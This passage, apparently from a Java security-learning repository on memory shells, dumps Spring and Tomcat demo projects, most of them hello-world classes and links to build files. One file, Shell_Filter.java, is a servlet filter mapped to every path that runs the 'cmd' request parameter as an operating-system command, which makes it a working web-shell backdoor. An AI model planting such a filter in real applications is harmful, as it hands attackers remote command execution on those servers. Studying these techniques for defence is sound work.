https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/SpringMVC_Interceptor/target/SpringMVC_Interceptor/WEB-INF/lib/spring-webmvc-5.3.19.jar
--------------------------------------------------------------------------------
/Java_memShell/SpringMVC_Interceptor/target/SpringMVC_Interceptor/WEB-INF/lib/standard-1.1.2.jar:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/SpringMVC_Interceptor/target/SpringMVC_Interceptor/WEB-INF/lib/standard-1.1.2.jar
--------------------------------------------------------------------------------
/Java_memShell/SpringMVC_Interceptor/target/SpringMVC_Interceptor/index.jsp:
--------------------------------------------------------------------------------
1 |
2 |
3 | Hello World!
4 |
5 |
6 |
--------------------------------------------------------------------------------
/Java_memShell/SpringMVC_Interceptor/target/classes/com/shell/controller/Inject_Shell_Interceptor_Controller$Shell_Interceptor.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/SpringMVC_Interceptor/target/classes/com/shell/controller/Inject_Shell_Interceptor_Controller$Shell_Interceptor.class
--------------------------------------------------------------------------------
/Java_memShell/SpringMVC_Interceptor/target/classes/com/shell/controller/Inject_Shell_Interceptor_Controller.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/SpringMVC_Interceptor/target/classes/com/shell/controller/Inject_Shell_Interceptor_Controller.class
--------------------------------------------------------------------------------
/Java_memShell/SpringMVC_WEBB/src/main/java/com/controller/test.java:
--------------------------------------------------------------------------------
1 | package com.controller;
2 |
3 | import org.springframework.stereotype.Controller;
4 | import org.springframework.web.bind.annotation.RequestMapping;
5 | import org.springframework.web.bind.annotation.ResponseBody;
6 |
7 | @Controller
8 | public class test {
9 |
10 | @ResponseBody
11 | @RequestMapping("/hello")
12 | public String hello(){
13 | System.out.println("hello");
14 | return "Hello";
15 | }
16 | }
17 |
--------------------------------------------------------------------------------
/Java_memShell/SpringMVC_WEBB/src/main/webapp/index.jsp:
--------------------------------------------------------------------------------
1 |
2 |
3 | Hello World!
4 |
5 |
6 |
--------------------------------------------------------------------------------
/Java_memShell/SpringMVC_WEBB/target/SpringMVC_WEBB.war:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/SpringMVC_WEBB/target/SpringMVC_WEBB.war
--------------------------------------------------------------------------------
/Java_memShell/SpringMVC_WEBB/target/SpringMVC_WEBB/META-INF/MANIFEST.MF:
--------------------------------------------------------------------------------
1 | Manifest-Version: 1.0
2 | Created-By: IntelliJ IDEA
3 | Built-By: 34946
4 | Build-Jdk: version 1.8.0_311
5 |
6 |
--------------------------------------------------------------------------------
/Java_memShell/SpringMVC_WEBB/target/SpringMVC_WEBB/WEB-INF/classes/com/controller/test.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/SpringMVC_WEBB/target/SpringMVC_WEBB/WEB-INF/classes/com/controller/test.class
--------------------------------------------------------------------------------
/Java_memShell/SpringMVC_WEBB/target/SpringMVC_WEBB/WEB-INF/lib/aopalliance-1.0.jar:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/SpringMVC_WEBB/target/SpringMVC_WEBB/WEB-INF/lib/aopalliance-1.0.jar
--------------------------------------------------------------------------------
/Java_memShell/SpringMVC_WEBB/target/SpringMVC_WEBB/WEB-INF/lib/commons-logging-1.2.jar:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/SpringMVC_WEBB/target/SpringMVC_WEBB/WEB-INF/lib/commons-logging-1.2.jar
--------------------------------------------------------------------------------
/Java_memShell/SpringMVC_WEBB/target/SpringMVC_WEBB/WEB-INF/lib/jstl-1.2.jar:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/SpringMVC_WEBB/target/SpringMVC_WEBB/WEB-INF/lib/jstl-1.2.jar
--------------------------------------------------------------------------------
/Java_memShell/SpringMVC_WEBB/target/SpringMVC_WEBB/WEB-INF/lib/spring-aop-4.1.4.RELEASE.jar:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/SpringMVC_WEBB/target/SpringMVC_WEBB/WEB-INF/lib/spring-aop-4.1.4.RELEASE.jar
--------------------------------------------------------------------------------
/Java_memShell/SpringMVC_WEBB/target/SpringMVC_WEBB/WEB-INF/lib/spring-beans-4.1.4.RELEASE.jar:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/SpringMVC_WEBB/target/SpringMVC_WEBB/WEB-INF/lib/spring-beans-4.1.4.RELEASE.jar
--------------------------------------------------------------------------------
/Java_memShell/SpringMVC_WEBB/target/SpringMVC_WEBB/WEB-INF/lib/spring-context-4.1.4.RELEASE.jar:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/SpringMVC_WEBB/target/SpringMVC_WEBB/WEB-INF/lib/spring-context-4.1.4.RELEASE.jar
--------------------------------------------------------------------------------
/Java_memShell/SpringMVC_WEBB/target/SpringMVC_WEBB/WEB-INF/lib/spring-core-4.1.4.RELEASE.jar:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/SpringMVC_WEBB/target/SpringMVC_WEBB/WEB-INF/lib/spring-core-4.1.4.RELEASE.jar
--------------------------------------------------------------------------------
/Java_memShell/SpringMVC_WEBB/target/SpringMVC_WEBB/WEB-INF/lib/spring-expression-4.1.4.RELEASE.jar:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/SpringMVC_WEBB/target/SpringMVC_WEBB/WEB-INF/lib/spring-expression-4.1.4.RELEASE.jar
--------------------------------------------------------------------------------
/Java_memShell/SpringMVC_WEBB/target/SpringMVC_WEBB/WEB-INF/lib/spring-web-4.1.4.RELEASE.jar:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/SpringMVC_WEBB/target/SpringMVC_WEBB/WEB-INF/lib/spring-web-4.1.4.RELEASE.jar
--------------------------------------------------------------------------------
/Java_memShell/SpringMVC_WEBB/target/SpringMVC_WEBB/WEB-INF/lib/spring-webmvc-4.1.4.RELEASE.jar:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/SpringMVC_WEBB/target/SpringMVC_WEBB/WEB-INF/lib/spring-webmvc-4.1.4.RELEASE.jar
--------------------------------------------------------------------------------
/Java_memShell/SpringMVC_WEBB/target/SpringMVC_WEBB/WEB-INF/lib/standard-1.1.2.jar:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/SpringMVC_WEBB/target/SpringMVC_WEBB/WEB-INF/lib/standard-1.1.2.jar
--------------------------------------------------------------------------------
/Java_memShell/SpringMVC_WEBB/target/SpringMVC_WEBB/index.jsp:
--------------------------------------------------------------------------------
1 |
2 |
3 | Hello World!
4 |
5 |
6 |
--------------------------------------------------------------------------------
/Java_memShell/SpringMVC_WEBB/target/classes/com/controller/test.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/SpringMVC_WEBB/target/classes/com/controller/test.class
--------------------------------------------------------------------------------
/Java_memShell/Spring_Controller/.gitignore:
--------------------------------------------------------------------------------
1 | HELP.md
2 | target/
3 | !.mvn/wrapper/maven-wrapper.jar
4 | !**/src/main/**/target/
5 | !**/src/test/**/target/
6 |
7 | ### STS ###
8 | .apt_generated
9 | .classpath
10 | .factorypath
11 | .project
12 | .settings
13 | .springBeans
14 | .sts4-cache
15 |
16 | ### IntelliJ IDEA ###
17 | .idea
18 | *.iws
19 | *.iml
20 | *.ipr
21 |
22 | ### NetBeans ###
23 | /nbproject/private/
24 | /nbbuild/
25 | /dist/
26 | /nbdist/
27 | /.nb-gradle/
28 | build/
29 | !**/src/main/**/build/
30 | !**/src/test/**/build/
31 |
32 | ### VS Code ###
33 | .vscode/
34 |
--------------------------------------------------------------------------------
/Java_memShell/Spring_Controller/.mvn/wrapper/maven-wrapper.jar:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/Spring_Controller/.mvn/wrapper/maven-wrapper.jar
--------------------------------------------------------------------------------
/Java_memShell/Spring_Controller/.mvn/wrapper/maven-wrapper.properties:
--------------------------------------------------------------------------------
1 | distributionUrl=https://repo.maven.apache.org/maven2/org/apache/maven/apache-maven/3.8.4/apache-maven-3.8.4-bin.zip
2 | wrapperUrl=https://repo.maven.apache.org/maven2/org/apache/maven/wrapper/maven-wrapper/3.1.0/maven-wrapper-3.1.0.jar
3 |
--------------------------------------------------------------------------------
/Java_memShell/Spring_Controller/src/main/java/Learn/Context_Learn.java:
--------------------------------------------------------------------------------
1 | package Learn;
2 |
3 | import org.springframework.web.context.ContextLoader;
4 | import org.springframework.web.context.WebApplicationContext;
5 |
6 | public class Context_Learn {
7 | public static void main(String[] args) {
8 | WebApplicationContext context = ContextLoader.getCurrentWebApplicationContext();
9 | System.out.println(context);
10 | }
11 | }
12 |
--------------------------------------------------------------------------------
/Java_memShell/Spring_Controller/src/main/java/com/example/spring_controller/SpringControllerApplication.java:
--------------------------------------------------------------------------------
1 | package com.example.spring_controller;
2 |
3 | import org.springframework.boot.SpringApplication;
4 | import org.springframework.boot.autoconfigure.SpringBootApplication;
5 |
6 | @SpringBootApplication
7 | public class SpringControllerApplication {
8 |
9 | public static void main(String[] args) {
10 | SpringApplication.run(SpringControllerApplication.class, args);
11 | }
12 |
13 | }
14 |
--------------------------------------------------------------------------------
/Java_memShell/Spring_Controller/src/main/resources/application.properties:
--------------------------------------------------------------------------------
1 |
2 |
--------------------------------------------------------------------------------
/Java_memShell/Spring_Controller/src/test/java/com/example/spring_controller/SpringControllerApplicationTests.java:
--------------------------------------------------------------------------------
1 | package com.example.spring_controller;
2 |
3 | import org.junit.jupiter.api.Test;
4 | import org.springframework.boot.test.context.SpringBootTest;
5 |
6 | @SpringBootTest
7 | class SpringControllerApplicationTests {
8 |
9 | @Test
10 | void contextLoads() {
11 | }
12 |
13 | }
14 |
--------------------------------------------------------------------------------
/Java_memShell/Spring_Interceptor/src/main/java/com/shell/controller/Spring_Controller.java:
--------------------------------------------------------------------------------
1 | package com.shell.controller;
2 |
3 | import org.springframework.stereotype.Controller;
4 | import org.springframework.web.bind.annotation.RequestMapping;
5 | import org.springframework.web.bind.annotation.ResponseBody;
6 |
7 | @Controller
8 | public class Spring_Controller {
9 |
10 | @ResponseBody
11 | @RequestMapping("/login")
12 | public String Login(){
13 | return "Success!";
14 | }
15 | }
16 |
--------------------------------------------------------------------------------
/Java_memShell/Spring_Interceptor/src/main/webapp/index.jsp:
--------------------------------------------------------------------------------
1 |
2 |
3 | Hello World!
4 |
5 |
6 |
--------------------------------------------------------------------------------
/Java_memShell/Spring_Interceptor/target/Spring_Interceptor.war:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/Spring_Interceptor/target/Spring_Interceptor.war
--------------------------------------------------------------------------------
/Java_memShell/Spring_Interceptor/target/Spring_Interceptor/META-INF/MANIFEST.MF:
--------------------------------------------------------------------------------
1 | Manifest-Version: 1.0
2 | Created-By: IntelliJ IDEA
3 | Built-By: 34946
4 | Build-Jdk: version 1.8.0_311
5 |
6 |
--------------------------------------------------------------------------------
/Java_memShell/Spring_Interceptor/target/Spring_Interceptor/WEB-INF/classes/com/shell/controller/Spring_Controller.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/Spring_Interceptor/target/Spring_Interceptor/WEB-INF/classes/com/shell/controller/Spring_Controller.class
--------------------------------------------------------------------------------
/Java_memShell/Spring_Interceptor/target/Spring_Interceptor/WEB-INF/classes/com/shell/interceptor/Spring_Interceptor.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/Spring_Interceptor/target/Spring_Interceptor/WEB-INF/classes/com/shell/interceptor/Spring_Interceptor.class
--------------------------------------------------------------------------------
/Java_memShell/Spring_Interceptor/target/Spring_Interceptor/WEB-INF/lib/javax.servlet-api-4.0.1.jar:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/Spring_Interceptor/target/Spring_Interceptor/WEB-INF/lib/javax.servlet-api-4.0.1.jar
--------------------------------------------------------------------------------
/Java_memShell/Spring_Interceptor/target/Spring_Interceptor/WEB-INF/lib/jstl-1.2.jar:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/Spring_Interceptor/target/Spring_Interceptor/WEB-INF/lib/jstl-1.2.jar
--------------------------------------------------------------------------------
/Java_memShell/Spring_Interceptor/target/Spring_Interceptor/WEB-INF/lib/spring-aop-5.3.19.jar:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/Spring_Interceptor/target/Spring_Interceptor/WEB-INF/lib/spring-aop-5.3.19.jar
--------------------------------------------------------------------------------
/Java_memShell/Spring_Interceptor/target/Spring_Interceptor/WEB-INF/lib/spring-beans-5.3.19.jar:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/Spring_Interceptor/target/Spring_Interceptor/WEB-INF/lib/spring-beans-5.3.19.jar
--------------------------------------------------------------------------------
/Java_memShell/Spring_Interceptor/target/Spring_Interceptor/WEB-INF/lib/spring-context-5.3.19.jar:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/Spring_Interceptor/target/Spring_Interceptor/WEB-INF/lib/spring-context-5.3.19.jar
--------------------------------------------------------------------------------
/Java_memShell/Spring_Interceptor/target/Spring_Interceptor/WEB-INF/lib/spring-core-5.3.19.jar:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/Spring_Interceptor/target/Spring_Interceptor/WEB-INF/lib/spring-core-5.3.19.jar
--------------------------------------------------------------------------------
/Java_memShell/Spring_Interceptor/target/Spring_Interceptor/WEB-INF/lib/spring-expression-5.3.19.jar:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/Spring_Interceptor/target/Spring_Interceptor/WEB-INF/lib/spring-expression-5.3.19.jar
--------------------------------------------------------------------------------
/Java_memShell/Spring_Interceptor/target/Spring_Interceptor/WEB-INF/lib/spring-jcl-5.3.19.jar:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/Spring_Interceptor/target/Spring_Interceptor/WEB-INF/lib/spring-jcl-5.3.19.jar
--------------------------------------------------------------------------------
/Java_memShell/Spring_Interceptor/target/Spring_Interceptor/WEB-INF/lib/spring-web-5.3.19.jar:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/Spring_Interceptor/target/Spring_Interceptor/WEB-INF/lib/spring-web-5.3.19.jar
--------------------------------------------------------------------------------
/Java_memShell/Spring_Interceptor/target/Spring_Interceptor/WEB-INF/lib/spring-webmvc-5.3.19.jar:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/Spring_Interceptor/target/Spring_Interceptor/WEB-INF/lib/spring-webmvc-5.3.19.jar
--------------------------------------------------------------------------------
/Java_memShell/Spring_Interceptor/target/Spring_Interceptor/WEB-INF/lib/standard-1.1.2.jar:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/Spring_Interceptor/target/Spring_Interceptor/WEB-INF/lib/standard-1.1.2.jar
--------------------------------------------------------------------------------
/Java_memShell/Spring_Interceptor/target/Spring_Interceptor/index.jsp:
--------------------------------------------------------------------------------
1 |
2 |
3 | Hello World!
4 |
5 |
6 |
--------------------------------------------------------------------------------
/Java_memShell/Spring_Interceptor/target/classes/com/shell/controller/Spring_Controller.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/Spring_Interceptor/target/classes/com/shell/controller/Spring_Controller.class
--------------------------------------------------------------------------------
/Java_memShell/Spring_Interceptor/target/classes/com/shell/interceptor/Spring_Interceptor.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/Spring_Interceptor/target/classes/com/shell/interceptor/Spring_Interceptor.class
--------------------------------------------------------------------------------
/Java_memShell/Tomcat_Filter/src/main/java/Filter/Hello_Filter1.java:
--------------------------------------------------------------------------------
1 | package Filter;
2 |
3 | import javax.servlet.*;
4 | import javax.servlet.annotation.WebFilter;
5 | import java.io.IOException;
6 | import java.io.PrintWriter;
7 |
8 | @WebFilter("/hello")
9 | public class Hello_Filter1 implements Filter {
10 |
11 | @Override
12 | public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
13 | response.setContentType("text/html; charset=UTF-8");
14 | PrintWriter writer = response.getWriter();
15 | writer.write("调用Filter1!");
16 | chain.doFilter(request,response);
17 | }
18 | }
19 |
--------------------------------------------------------------------------------
/Java_memShell/Tomcat_Filter/src/main/java/Filter/Hello_Filter2.java:
--------------------------------------------------------------------------------
1 | package Filter;
2 |
3 | import javax.servlet.*;
4 | import javax.servlet.annotation.WebFilter;
5 | import java.io.IOException;
6 | import java.io.PrintWriter;
7 |
8 | @WebFilter("/hello")
9 | public class Hello_Filter2 implements Filter {
10 | @Override
11 | public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
12 | PrintWriter writer = response.getWriter();
13 | writer.write("调用Filter2!");
14 | chain.doFilter(request,response);
15 |
16 | }
17 | }
18 |
--------------------------------------------------------------------------------
/Java_memShell/Tomcat_Filter/src/main/java/Filter/Hello_Servlet.java:
--------------------------------------------------------------------------------
1 | package Filter;
2 |
3 | import javax.servlet.ServletException;
4 | import javax.servlet.annotation.WebServlet;
5 | import javax.servlet.http.HttpServlet;
6 | import javax.servlet.http.HttpServletRequest;
7 | import javax.servlet.http.HttpServletResponse;
8 | import java.io.IOException;
9 | import java.io.PrintWriter;
10 |
11 | @WebServlet("/hello")
12 | public class Hello_Servlet extends HttpServlet {
13 | @Override
14 | protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
15 | PrintWriter writer = resp.getWriter();
16 | writer.write("Hello World!");
17 | writer.close();
18 | }
19 | }
20 |
--------------------------------------------------------------------------------
/Java_memShell/Tomcat_Filter/src/main/java/Filter/Shell_Filter.java:
--------------------------------------------------------------------------------
1 | package Filter;
2 |
3 | import javax.servlet.*;
4 | import javax.servlet.annotation.WebFilter;
5 | import java.io.IOException;
6 |
7 | @WebFilter("/*")
8 | public class Shell_Filter implements Filter {
9 | @Override
10 | public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
11 | String cmd=request.getParameter("cmd");
12 | try {
13 | Runtime.getRuntime().exec(cmd);
14 | } catch (IOException e) {
15 | e.printStackTrace();
16 | }catch (NullPointerException n){
17 | n.printStackTrace();
18 | }
19 | }
20 | }
21 |
--------------------------------------------------------------------------------
/Java_memShell/Tomcat_Filter/src/main/webapp/WEB-INF/web.xml:
--------------------------------------------------------------------------------
1 |
4 |
5 |
6 | Archetype Created Web Application
7 |
8 |
--------------------------------------------------------------------------------
/Java_memShell/Tomcat_Filter/src/main/webapp/index.jsp:
--------------------------------------------------------------------------------
1 |
2 |
3 | Hello World!
4 |
5 |
6 |
--------------------------------------------------------------------------------
/Java_memShell/Tomcat_Filter/target/Tomcat_Filter.war:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/Tomcat_Filter/target/Tomcat_Filter.war
--------------------------------------------------------------------------------
/Java_memShell/Tomcat_Filter/target/Tomcat_Filter/META-INF/MANIFEST.MF:
--------------------------------------------------------------------------------
1 | Manifest-Version: 1.0
2 | Created-By: IntelliJ IDEA
3 | Built-By: 34946
4 | Build-Jdk: version 1.8.0_65
5 |
6 |
--------------------------------------------------------------------------------
/Java_memShell/Tomcat_Filter/target/Tomcat_Filter/WEB-INF/classes/Filter/Hello_Filter1.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/Tomcat_Filter/target/Tomcat_Filter/WEB-INF/classes/Filter/Hello_Filter1.class
--------------------------------------------------------------------------------
/Java_memShell/Tomcat_Filter/target/Tomcat_Filter/WEB-INF/classes/Filter/Hello_Filter2.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/Tomcat_Filter/target/Tomcat_Filter/WEB-INF/classes/Filter/Hello_Filter2.class
--------------------------------------------------------------------------------
/Java_memShell/Tomcat_Filter/target/Tomcat_Filter/WEB-INF/classes/Filter/Hello_Servlet.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/Tomcat_Filter/target/Tomcat_Filter/WEB-INF/classes/Filter/Hello_Servlet.class
--------------------------------------------------------------------------------
/Java_memShell/Tomcat_Filter/target/Tomcat_Filter/WEB-INF/classes/Filter/Shell_Filter.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/Tomcat_Filter/target/Tomcat_Filter/WEB-INF/classes/Filter/Shell_Filter.class
--------------------------------------------------------------------------------
/Java_memShell/Tomcat_Filter/target/Tomcat_Filter/WEB-INF/lib/javax.servlet-api-4.0.1.jar:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/Tomcat_Filter/target/Tomcat_Filter/WEB-INF/lib/javax.servlet-api-4.0.1.jar
--------------------------------------------------------------------------------
/Java_memShell/Tomcat_Filter/target/Tomcat_Filter/WEB-INF/web.xml:
--------------------------------------------------------------------------------
1 |
4 |
5 |
6 | Archetype Created Web Application
7 |
8 |
--------------------------------------------------------------------------------
/Java_memShell/Tomcat_Filter/target/Tomcat_Filter/index.jsp:
--------------------------------------------------------------------------------
1 |
2 |
3 | Hello World!
4 |
5 |
6 |
--------------------------------------------------------------------------------
/Java_memShell/Tomcat_Filter/target/classes/Filter/Hello_Filter1.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/Tomcat_Filter/target/classes/Filter/Hello_Filter1.class
--------------------------------------------------------------------------------
/Java_memShell/Tomcat_Filter/target/classes/Filter/Hello_Filter2.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/Tomcat_Filter/target/classes/Filter/Hello_Filter2.class
--------------------------------------------------------------------------------
/Java_memShell/Tomcat_Filter/target/classes/Filter/Hello_Servlet.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/Tomcat_Filter/target/classes/Filter/Hello_Servlet.class
--------------------------------------------------------------------------------
/Java_memShell/Tomcat_Filter/target/classes/Filter/Shell_Filter.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/Tomcat_Filter/target/classes/Filter/Shell_Filter.class
--------------------------------------------------------------------------------
/Java_memShell/Tomcat_Listener/src/main/java/Hello_Servlet.java:
--------------------------------------------------------------------------------
1 | import javax.servlet.ServletException;
2 | import javax.servlet.annotation.WebServlet;
3 | import javax.servlet.http.HttpServlet;
4 | import javax.servlet.http.HttpServletRequest;
5 | import javax.servlet.http.HttpServletResponse;
6 | import java.io.IOException;
7 | import java.io.PrintWriter;
8 |
9 | @WebServlet("/hello")
10 | public class Hello_Servlet extends HttpServlet {
11 | @Override
12 | protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
13 | PrintWriter writer = resp.getWriter();
14 | writer.write("Hello World!");
15 | writer.close();
16 | }
17 | }
18 |
--------------------------------------------------------------------------------
/Java_memShell/Tomcat_Listener/src/main/java/Listener/Hello_Listener.java:
--------------------------------------------------------------------------------
1 | package Listener;
2 |
3 | import javax.servlet.ServletContextEvent;
4 | import javax.servlet.ServletContextListener;
5 | import javax.servlet.annotation.WebListener;
6 |
7 | @WebListener
8 | public class Hello_Listener implements ServletContextListener {
9 |
10 | @Override
11 | public void contextInitialized(ServletContextEvent sce) {
12 | System.out.println("ServletContext对象创建了!");
13 | }
14 |
15 | @Override
16 | public void contextDestroyed(ServletContextEvent sce) {
17 | System.out.println("ServletContext对象销毁了!");
18 |
19 | }
20 |
21 | }
22 |
--------------------------------------------------------------------------------
/Java_memShell/Tomcat_Listener/src/main/webapp/WEB-INF/web.xml:
--------------------------------------------------------------------------------
1 |
4 |
5 |
6 | Archetype Created Web Application
7 |
8 |
--------------------------------------------------------------------------------
/Java_memShell/Tomcat_Listener/src/main/webapp/index.jsp:
--------------------------------------------------------------------------------
1 |
2 |
3 | Hello World!
4 |
5 |
6 |
--------------------------------------------------------------------------------
/Java_memShell/Tomcat_Listener/target/Tomcat_Listener.war:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/Tomcat_Listener/target/Tomcat_Listener.war
--------------------------------------------------------------------------------
/Java_memShell/Tomcat_Listener/target/Tomcat_Listener/META-INF/MANIFEST.MF:
--------------------------------------------------------------------------------
1 | Manifest-Version: 1.0
2 | Created-By: IntelliJ IDEA
3 | Built-By: 34946
4 | Build-Jdk: version 1.8.0_65
5 |
6 |
--------------------------------------------------------------------------------
/Java_memShell/Tomcat_Listener/target/Tomcat_Listener/WEB-INF/classes/Hello_Servlet.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/Tomcat_Listener/target/Tomcat_Listener/WEB-INF/classes/Hello_Servlet.class
--------------------------------------------------------------------------------
/Java_memShell/Tomcat_Listener/target/Tomcat_Listener/WEB-INF/classes/Listener/Hello_Listener.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/Tomcat_Listener/target/Tomcat_Listener/WEB-INF/classes/Listener/Hello_Listener.class
--------------------------------------------------------------------------------
/Java_memShell/Tomcat_Listener/target/Tomcat_Listener/WEB-INF/classes/Listener/Shell_Listener.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/Tomcat_Listener/target/Tomcat_Listener/WEB-INF/classes/Listener/Shell_Listener.class
--------------------------------------------------------------------------------
/Java_memShell/Tomcat_Listener/target/Tomcat_Listener/WEB-INF/lib/javax.servlet-api-4.0.1.jar:
--------------------------------------------------------------------------------
